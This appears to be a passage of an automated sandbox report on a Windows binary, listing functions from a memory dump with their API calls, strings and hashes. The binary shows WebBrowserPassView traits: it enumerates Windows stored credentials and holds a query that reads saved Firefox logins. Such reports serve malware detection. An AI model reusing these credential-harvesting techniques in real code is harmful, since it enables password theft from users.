LoadLibraryW.KERNEL32(psapi.dll,?,00411582), ref: 00412FAC
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412FC5
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412FD6
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 00412FE7
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00412FF8
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 00413009
FreeLibrary.KERNEL32(00000000), ref: 00413029

Strings

GetModuleFileNameExW, xrefs: 00412FE1
psapi.dll, xrefs: 00412FA7
EnumProcesses, xrefs: 00412FF2
EnumProcessModules, xrefs: 00412FD0
GetModuleInformation, xrefs: 00413003
GetModuleBaseNameW, xrefs: 00412FBF

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 2449869053-70141382
Opcode ID: cfd5c71916fbce4a342b80b0f76a79ff8ef3fa3daac0bce444ef2cea232ec273
Instruction ID: 777907c91c3138f07d32b7effc6a6e277a0cb3bdfe1d402d2202e46302417196
Opcode Fuzzy Hash: cfd5c71916fbce4a342b80b0f76a79ff8ef3fa3daac0bce444ef2cea232ec273
Instruction Fuzzy Hash: B5014030940715AAD7318F256E44B6A2EE4E759B83B14002BA404D2A5AEBB8D941DBAC

Uniqueness

Uniqueness Score: -1.00%

Function 0040FDE0, Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0040FDE6
_wcsicmp.MSVCRT ref: 0040FDFB

Strings

/skeepass, xrefs: 0040FE5F
/stabular, xrefs: 0040FE35
/stab, xrefs: 0040FE20
/shtml, xrefs: 0040FDE1
/sxml, xrefs: 0040FE0B
/scomma, xrefs: 0040FE4A
/sverhtml, xrefs: 0040FDF6

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wcsicmp
String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
API String ID: 2081463915-1959339147
Opcode ID: d68f99de9f7ef6dc0a98dc4c4bcb6a836855c619b54ed7beb0ba6369b4841934
Instruction ID: 6ae1867121f1a9de607d4cf96a2848453b881622ab493d5bc2878352e6736150
Opcode Fuzzy Hash: d68f99de9f7ef6dc0a98dc4c4bcb6a836855c619b54ed7beb0ba6369b4841934
Instruction Fuzzy Hash: 4D01EC6328A32164F97469A7AC07F8B0A49CBD2F7AF71543BF904D41C6FF8D944560AC

Uniqueness

Uniqueness Score: -1.00%

Function 00412F15, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00411589), ref: 00412F24
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00412F3D
GetProcAddress.KERNEL32(00000000,Module32First), ref: 00412F4E
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00412F5F
GetProcAddress.KERNEL32(00000000,Process32First), ref: 00412F70
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 00412F81

Strings

kernel32.dll, xrefs: 00412F1F
Process32First, xrefs: 00412F6A
CreateToolhelp32Snapshot, xrefs: 00412F37
Module32Next, xrefs: 00412F59
Process32Next, xrefs: 00412F7B
Module32First, xrefs: 00412F48

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: 9afc599291b44c0031a1a238e792fad3046f96ec859f9be66ee04854d14c5414
Instruction ID: 90193f1111e05c4afbc6439255eabbfb584b4719c6c3eda45dffcf0f008ca331
Opcode Fuzzy Hash: 9afc599291b44c0031a1a238e792fad3046f96ec859f9be66ee04854d14c5414
Instruction Fuzzy Hash: 6BF08B30941321AEAB208F295F40F6729B4E745BCAF140037B404D1655DBE8C453DF7D

Uniqueness

Uniqueness Score: -1.00%

Function 00403B29, Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00403BA4: FreeLibrary.KERNEL32(?,00403B31,00000000,00409589,?,00000000,?), ref: 00403BAB

LoadLibraryW.KERNEL32(advapi32.dll,00000000,00409589,?,00000000,?), ref: 00403B36
GetProcAddress.KERNEL32(00000000,CredReadA), ref: 00403B4F
GetProcAddress.KERNEL32(?,CredFree), ref: 00403B5B
GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00403B67
GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 00403B73
GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 00403B7F

Strings

CredEnumerateW, xrefs: 00403B75
CredReadA, xrefs: 00403B49
CredDeleteA, xrefs: 00403B5D
advapi32.dll, xrefs: 00403B31
CredFree, xrefs: 00403B51
CredEnumerateA, xrefs: 00403B69

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CredDeleteA$CredEnumerateA$CredEnumerateW$CredFree$CredReadA$advapi32.dll
API String ID: 2449869053-4258758744
Opcode ID: b35c21cb85061f263d9bcfade7dbfc97ff2743854c4f3c632f847b452f6a88c2
Instruction ID: 8f7743962e36341c748a679f4d1b70e48ab6ec882cd35c5a4d1c5c737e04e9f5
Opcode Fuzzy Hash: b35c21cb85061f263d9bcfade7dbfc97ff2743854c4f3c632f847b452f6a88c2
Instruction Fuzzy Hash: 4F011A34500B419BDB31AF768809E0ABBF4EF94709B20882FE091A3692D6BDB140CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040F99D, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 166windowCOMMON

Download Yara Rule

APIs

SetBkMode.GDI32(?,00000001), ref: 0040FA22
SetTextColor.GDI32(?,00FF0000), ref: 0040FA30
SelectObject.GDI32(?,?), ref: 0040FA45
DrawTextExW.USER32(?,?,000000FF,?,00000004,?), ref: 0040FA79
SelectObject.GDI32(00000014,00000005), ref: 0040FA85

Part of subcall function 0040F7F1: GetCursorPos.USER32(?), ref: 0040F7FB
Part of subcall function 0040F7F1: GetSubMenu.USER32 ref: 0040F809
Part of subcall function 0040F7F1: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0040F83A

GetModuleHandleW.KERNEL32(00000000), ref: 0040FAA0
LoadCursorW.USER32(00000000,00000067), ref: 0040FAA9
SetCursor.USER32(00000000), ref: 0040FAB0
PostMessageW.USER32(?,00000428,00000000,00000000), ref: 0040FAF4
memcpy.MSVCRT ref: 0040FB3D

Strings

WebBrowserPassView, xrefs: 0040FABE

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Cursor$MenuObjectSelectText$ColorDrawHandleLoadMessageModeModulePopupPostTrackmemcpy
String ID: WebBrowserPassView
API String ID: 3991541706-2171583229
Opcode ID: af87e28441c52666e05ef975f9e80766b0ecba8b6e67ff3cf46880ee9de98c1b
Instruction ID: d9273dffa9cc4a7b5f3d28471e210e7f23542924c6da0ead56af32090a150d55
Opcode Fuzzy Hash: af87e28441c52666e05ef975f9e80766b0ecba8b6e67ff3cf46880ee9de98c1b
Instruction Fuzzy Hash: 3C51F431600105ABDB34AF64C895B6A77B6BF48310F104137F909AB6E1DB78EC55CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9E8, Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 0040EA07
GetWindowRect.USER32 ref: 0040EA1D
GetWindowRect.USER32 ref: 0040EA33
GetDlgItem.USER32 ref: 0040EA6D
GetWindowRect.USER32 ref: 0040EA74
MapWindowPoints.USER32 ref: 0040EA84
BeginDeferWindowPos.USER32 ref: 0040EAA8
DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 0040EACB
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 0040EAEA
DeferWindowPos.USER32(?,?,00000000,00000000,000000DC,?,?,00000004), ref: 0040EB15
DeferWindowPos.USER32(?,00000000,00000000,00000000,?,?,000000DC,00000004), ref: 0040EB2D
EndDeferWindowPos.USER32(?), ref: 0040EB32

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Window$Defer$Rect$BeginClientItemPoints
String ID:
API String ID: 552707033-0
Opcode ID: d377f14bac66848249b0c215b625da6d3176a3386a63c890cfc2e0202b3da6cd
Instruction ID: dc3f1f52df5294a2ec978d0ae6c3ccd5c38b38754740f987f7490d1c54cf7de8
Opcode Fuzzy Hash: d377f14bac66848249b0c215b625da6d3176a3386a63c890cfc2e0202b3da6cd
Instruction Fuzzy Hash: 9141B275A00609BFEF11DFA8CD89FEEBBBAFB48304F100465E615A61A0C7716A50DB14

Uniqueness

Uniqueness Score: -1.00%

Function 0040A230, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 110stringfileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,?,0040A401,?,?,*.*,0040A46B,00000000), ref: 0040A250

Part of subcall function 004089BB: SetFilePointer.KERNEL32(0040A46B,?,00000000,00000000,?,0040A271,00000000,00000000,?,00000020,?,0040A401,?,?,*.*,0040A46B), ref: 004089C8

GetFileSize.KERNEL32(00000000,00000000), ref: 0040A280

Part of subcall function 0040A19F: _memicmp.MSVCRT ref: 0040A1B9
Part of subcall function 0040A19F: memcpy.MSVCRT ref: 0040A1D0

memcpy.MSVCRT ref: 0040A2C7
strchr.MSVCRT ref: 0040A2EC
strchr.MSVCRT ref: 0040A2FD
_strlwr.MSVCRT ref: 0040A30B
memset.MSVCRT ref: 0040A326
CloseHandle.KERNEL32(00000000), ref: 0040A373

Strings

h, xrefs: 0040A2D8
4, xrefs: 0040A274

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$memcpystrchr$CloseCreateHandlePointerSize_memicmp_strlwrmemset
String ID: 4$h
API String ID: 4066021378-1856150674
Opcode ID: 037d5fbce9d0b4662d9ebf7469ceba7c591ab6ee4687e3a1553bf719baa28f42
Instruction ID: 17f5db22f20d9ae327a0934dc0a50b98bc11baf633b6527cb3b89d44c7cb3914
Opcode Fuzzy Hash: 037d5fbce9d0b4662d9ebf7469ceba7c591ab6ee4687e3a1553bf719baa28f42
Instruction Fuzzy Hash: 3D31A271900218BFEB11EBA4CC85FEE77ACEB45354F10406AFA08E6181E7399F558B69

Uniqueness

Uniqueness Score: -1.00%

Function 00413F4B, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413F79
memset.MSVCRT ref: 00413F8E
_snwprintf.MSVCRT ref: 00413FA8
_snwprintf.MSVCRT ref: 00413FC7
memset.MSVCRT ref: 00413FF9
memset.MSVCRT ref: 0041400E
memset.MSVCRT ref: 00414023
_snwprintf.MSVCRT ref: 0041403D
_snwprintf.MSVCRT ref: 0041405A

Strings

%%0.%df, xrefs: 00413F9B, 00414030

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$_snwprintf
String ID: %%0.%df
API String ID: 3473751417-763548558
Opcode ID: 006428a89fa05684acf2644298e63651eb7cb4553425473b44fafabdd736af6e
Instruction ID: 0b838db9f825932711660ea6569b586705b9a26b63b1a47a63d1f68ae8ff407c
Opcode Fuzzy Hash: 006428a89fa05684acf2644298e63651eb7cb4553425473b44fafabdd736af6e
Instruction Fuzzy Hash: 86313271900129BBEB20DF55CC85FEB7B7CEF89304F0100EAF509A2112EB789A54CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004055D0, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97timewindowCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000041,00000064,00000000), ref: 004055F3
KillTimer.USER32(?,00000041), ref: 00405603
KillTimer.USER32(?,00000041), ref: 00405614
GetTickCount.KERNEL32 ref: 00405637
GetParent.USER32(?), ref: 00405662
SendMessageW.USER32(00000000), ref: 00405669
BeginDeferWindowPos.USER32 ref: 00405677
EndDeferWindowPos.USER32(00000000), ref: 004056C7
InvalidateRect.USER32(?,?,00000001), ref: 004056D3

Strings

A, xrefs: 0040561F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Timer$DeferKillWindow$BeginCountInvalidateMessageParentRectSendTick
String ID: A
API String ID: 2892645895-3554254475
Opcode ID: a5eb5b96462c3251e9a860f7e43a9a09c1a522a6715d8b372432c44450ed2e81
Instruction ID: 7dfccb24d1e076f690be31caf06a6d4f547633615caf0f8568b2f3749d1e3a55
Opcode Fuzzy Hash: a5eb5b96462c3251e9a860f7e43a9a09c1a522a6715d8b372432c44450ed2e81
Instruction Fuzzy Hash: 1D317E75640B04BBEB201F659C85F6B7B6AFB44741F50883AF30A7A1E1C7F698908E58

Uniqueness

Uniqueness Score: -1.00%

Function 0040E29C, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040E2D4
memset.MSVCRT ref: 0040E2E9
memset.MSVCRT ref: 0040E2FE
_snwprintf.MSVCRT ref: 0040E326
wcscpy.MSVCRT ref: 0040E342
_snwprintf.MSVCRT ref: 0040E385

Strings

<table dir="rtl"><tr><td>, xrefs: 0040E33C
<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 0040E378
<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 0040E319
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 0040E2AC

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$_snwprintf$wcscpy
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
API String ID: 1283228442-2366825230
Opcode ID: c4fce1170840367a350b3e6d5f67ab6abb67d71c967fae5ab0e812931b85aba3
Instruction ID: dd7614801a102cad1738161c6781c4b5767366b5b9f47406b9b80e8d834f6cb8
Opcode Fuzzy Hash: c4fce1170840367a350b3e6d5f67ab6abb67d71c967fae5ab0e812931b85aba3
Instruction Fuzzy Hash: C82154B69002186BDB21EBA5CC45F9A77BCEF4D785F0440AAF50893151DB38DB848B59

Uniqueness

Uniqueness Score: -1.00%

Function 00413031, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 0041304A
wcscpy.MSVCRT ref: 0041305A

Part of subcall function 00407EAF: wcslen.MSVCRT ref: 00407EBE
Part of subcall function 00407EAF: wcslen.MSVCRT ref: 00407EC8
Part of subcall function 00407EAF: _memicmp.MSVCRT ref: 00407EE3

wcscpy.MSVCRT ref: 004130A9
wcscat.MSVCRT ref: 004130B4
memset.MSVCRT ref: 00413090

Part of subcall function 00408463: GetWindowsDirectoryW.KERNEL32(00453718,00000104,?,004130E9,?,?,00000000,00000208,-00000028), ref: 00408479
Part of subcall function 00408463: wcscpy.MSVCRT ref: 00408489

memset.MSVCRT ref: 004130D8
memcpy.MSVCRT ref: 004130F3
wcscat.MSVCRT ref: 004130FF

Strings

\systemroot, xrefs: 00413067

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: f2ab5198b6a2690fa1a836c34b2ef13a361ad9faede40cdf7fdb84fd41dd5d52
Instruction ID: 36f3f6f0360cce9f0c7183545ae4e1e5b3fba08c84210a6b9e93ac32fafd8b1c
Opcode Fuzzy Hash: f2ab5198b6a2690fa1a836c34b2ef13a361ad9faede40cdf7fdb84fd41dd5d52
Instruction Fuzzy Hash: 9A21D7B640530469E721EBB19C86FEB63EC9F46715F20415FB115A2082FB7CAA84475E

Uniqueness

Uniqueness Score: -1.00%

Function 0040744D, Relevance: 16.8, APIs: 10, Strings: 1, Instructions: 251stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00443A61: memset.MSVCRT ref: 00443A8C
Part of subcall function 00443A61: wcscpy.MSVCRT ref: 00443AA3
Part of subcall function 00443A61: memset.MSVCRT ref: 00443AD6
Part of subcall function 00443A61: wcscpy.MSVCRT ref: 00443AEC
Part of subcall function 00443A61: wcscat.MSVCRT ref: 00443AFD
Part of subcall function 00443A61: wcscpy.MSVCRT ref: 00443B23
Part of subcall function 00443A61: wcscat.MSVCRT ref: 00443B34
Part of subcall function 00443A61: wcscpy.MSVCRT ref: 00443B5B
Part of subcall function 00443A61: wcscat.MSVCRT ref: 00443B6C
Part of subcall function 00443A61: GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00443B7B
Part of subcall function 00443A61: LoadLibraryExW.KERNEL32(?,00000000,00000008,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00443B92
Part of subcall function 00443A61: GetProcAddress.KERNEL32(?,sqlite3_open), ref: 00443BDF
Part of subcall function 00443A61: GetProcAddress.KERNEL32(?,sqlite3_prepare), ref: 00443BEB

memset.MSVCRT ref: 0040748C

Part of subcall function 00408C5E: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,00402A35,?,?), ref: 00408C77

memset.MSVCRT ref: 0040750B
memset.MSVCRT ref: 00407520
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040765C
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407672
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00407688
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040769E
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004076B4
strcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004076CA
memset.MSVCRT ref: 004076E0

Strings

SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, timeCreated, timeLastUsed, timePasswordChanged, timesUsed FROM moz_logins, xrefs: 004074D2

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memsetstrcpy$wcscpy$wcscat$AddressProc$ByteCharHandleLibraryLoadModuleMultiWide
String ID: SELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, timeCreated, timeLastUsed, timePasswordChanged, timesUsed FROM moz_logins
API String ID: 2096775815-1337997248
Opcode ID: 2e12d6ea0480d97641cb46f238cf2080cd592d40d485f85ffcf83cfd2d87e7a7
Instruction ID: 3c2b171134edc849c89bfde98875369ff40149e6fc896e2c8c158776e68e1888
Opcode Fuzzy Hash: 2e12d6ea0480d97641cb46f238cf2080cd592d40d485f85ffcf83cfd2d87e7a7
Instruction Fuzzy Hash: 61912A72C0425EAFDF10DF94DC819DEBBB4EF04315F10406BE505B2191EA39AA94CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00417F9B, Relevance: 16.6, APIs: 11, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00416CB6: GetVersionExW.KERNEL32(?), ref: 00416CD9

GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 00417FC7
malloc.MSVCRT ref: 00417FD2
free.MSVCRT(?), ref: 00417FE2
GetFullPathNameW.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00417FF6
free.MSVCRT(?), ref: 00417FFB
GetFullPathNameA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 00418011
malloc.MSVCRT ref: 00418019
GetFullPathNameA.KERNEL32(00000000,-00000003,00000000,00000000), ref: 0041802C
free.MSVCRT(?), ref: 00418031
free.MSVCRT(?), ref: 00418045
free.MSVCRT(00000000,0044C838,00000000), ref: 00418064

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: free$FullNamePath$malloc$Version
String ID:
API String ID: 3356672799-0
Opcode ID: 4281f6dcf499aebe880315d56d8890ea297e638ba0a2e688ee01e2e55a4b7441
Instruction ID: e19f7d1979d0248284e652c075024004b82b0c137a295abbe9fd7512c3376d02
Opcode Fuzzy Hash: 4281f6dcf499aebe880315d56d8890ea297e638ba0a2e688ee01e2e55a4b7441
Instruction Fuzzy Hash: AA218675904118BFEF10BBA5EC46CDF7FB9DF41398B22016BF404A2161DE395E819968

Uniqueness

Uniqueness Score: -1.00%

Function 00407F9A, Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 00407FA4

Part of subcall function 00407D7B: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00444305,00000000,?,00000000,00000000,0041274B,?,?), ref: 00407D8D

GetFileSize.KERNEL32(00000000,00000000), ref: 00407FC1
GlobalAlloc.KERNEL32(00002000,00000002), ref: 00407FD2
GlobalLock.KERNEL32 ref: 00407FDF
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00407FF2
GlobalUnlock.KERNEL32(00000000), ref: 00408004
SetClipboardData.USER32 ref: 0040800D
GetLastError.KERNEL32 ref: 00408015
CloseHandle.KERNEL32(?), ref: 00408021
GetLastError.KERNEL32 ref: 0040802C
CloseClipboard.USER32 ref: 00408035

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleLockReadSizeUnlock
String ID:
API String ID: 3604893535-0
Opcode ID: df7f886e945f591bfda75065e4edf3e41638ed4f771c2343fc9f9f7254ae204e
Instruction ID: 9cea1fd89fc17267dcd3af91661d4008ede421ba1dc4d9805cb8839a0273d96b
Opcode Fuzzy Hash: df7f886e945f591bfda75065e4edf3e41638ed4f771c2343fc9f9f7254ae204e
Instruction Fuzzy Hash: 71113D7A900A04FBDF105FB0ED4CB9E7BB8EB45365F100176F942E52A2DB748904DB68

Uniqueness

Uniqueness Score: -1.00%

Function 004144DA, Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 50COMMON

Download Yara Rule

APIs

wcscpy.MSVCRT ref: 0041454D

Strings

Favorites, xrefs: 0041450C
Startup, xrefs: 00414505
Common Start Menu, xrefs: 0041451A
Common Desktop, xrefs: 00414539
Desktop, xrefs: 004144F7
Programs, xrefs: 00414513
Common Programs, xrefs: 00414547
AppData, xrefs: 00414532
Start Menu, xrefs: 004144FE
Common Startup, xrefs: 00414540

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcscpy
String ID: AppData$Common Desktop$Common Programs$Common Start Menu$Common Startup$Desktop$Favorites$Programs$Start Menu$Startup
API String ID: 1284135714-318151290
Opcode ID: bfadb20ff740d820eb56dcb57501d1229147ac2dc18d3832aa90891d3b4f6c13
Instruction ID: 0ebae4f713cd0728fe49c3fef23c10be13eea51f6af137ba8aced86fbfd041bd
Opcode Fuzzy Hash: bfadb20ff740d820eb56dcb57501d1229147ac2dc18d3832aa90891d3b4f6c13
Instruction Fuzzy Hash: 59F0BBB169462D73342E25B85806AF70483F0C1B0537E45537702EA6D6EA4CCAC1E89F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B301, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B340
wcscpy.MSVCRT ref: 0040B382

Part of subcall function 0040B7F3: memset.MSVCRT ref: 0040B806
Part of subcall function 0040B7F3: _itow.MSVCRT ref: 0040B814

wcslen.MSVCRT ref: 0040B3A0
GetModuleHandleW.KERNEL32(00000000,?,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B3AE
LoadStringW.USER32(00000000,0000000A,00000FFF,?), ref: 0040B3D9
memcpy.MSVCRT ref: 0040B419

Part of subcall function 0040B25F: ??2@YAPAXI@Z.MSVCRT ref: 0040B299
Part of subcall function 0040B25F: ??2@YAPAXI@Z.MSVCRT ref: 0040B2B7
Part of subcall function 0040B25F: ??2@YAPAXI@Z.MSVCRT ref: 0040B2D5
Part of subcall function 0040B25F: ??2@YAPAXI@Z.MSVCRT ref: 0040B2F3

Strings

strings, xrefs: 0040B378
rm, xrefs: 0040B31D, 0040B437
vm, xrefs: 0040B35A, 0040B429

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: strings$rm$vm
API String ID: 3166385802-1341195266
Opcode ID: 170e241d80e006e2339a4df759dc6eda6b269f3829da48b3c0b34544987349c1
Instruction ID: c57a50961ac065af18f7b97b0dfcf96f0970c66ac6ac5239858a4cd79fa145fe
Opcode Fuzzy Hash: 170e241d80e006e2339a4df759dc6eda6b269f3829da48b3c0b34544987349c1
Instruction Fuzzy Hash: 35415975200701BBDB259F14FC9593A3365E784387B20453EE802A73A3DB39EA16DB9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040B478, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32 ref: 0040B48E
memset.MSVCRT ref: 0040B4B2
GetMenuItemInfoW.USER32 ref: 0040B4ED
memset.MSVCRT ref: 0040B51C
wcschr.MSVCRT ref: 0040B528
wcscat.MSVCRT ref: 0040B583
ModifyMenuW.USER32(?,?,00000400,?,?), ref: 0040B59F

Strings

0, xrefs: 0040B4CD
6, xrefs: 0040B4D8

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
String ID: 0$6
API String ID: 4066108131-3849865405
Opcode ID: b79568a4bc0d31f153f724f739672314f24d182ceeaf87f3ebd535909d0644a4
Instruction ID: bceec671b1c8862383177497c079c71e13407bcb6d3a60011dae78a89f936b1e
Opcode Fuzzy Hash: b79568a4bc0d31f153f724f739672314f24d182ceeaf87f3ebd535909d0644a4
Instruction Fuzzy Hash: 65315BB2408340AFDB109F95DC44A9BB7E8FF89318F00487FF948A2291D779D905CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403C8C, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52libraryloaderwindowCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040FF6D,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 00403CAB
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00403CBD
FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040FF6D,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 00403CD1
#17.COMCTL32(?,00000002,?,?,?,0040FF6D,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 00403CDF
MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00403CFC

Strings

comctl32.dll, xrefs: 00403C94
Error: Cannot load the common control classes., xrefs: 00403CF6
InitCommonControlsEx, xrefs: 00403CB7
Error, xrefs: 00403CF1

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 66f0956d2bdd33e57a9d75159f698099ad879889c70df319cc2ace5e9580e212
Instruction ID: 34266bbb316567afe830504356b8b6584aa457591d2bf79f0dcd5bedfca56d80
Opcode Fuzzy Hash: 66f0956d2bdd33e57a9d75159f698099ad879889c70df319cc2ace5e9580e212
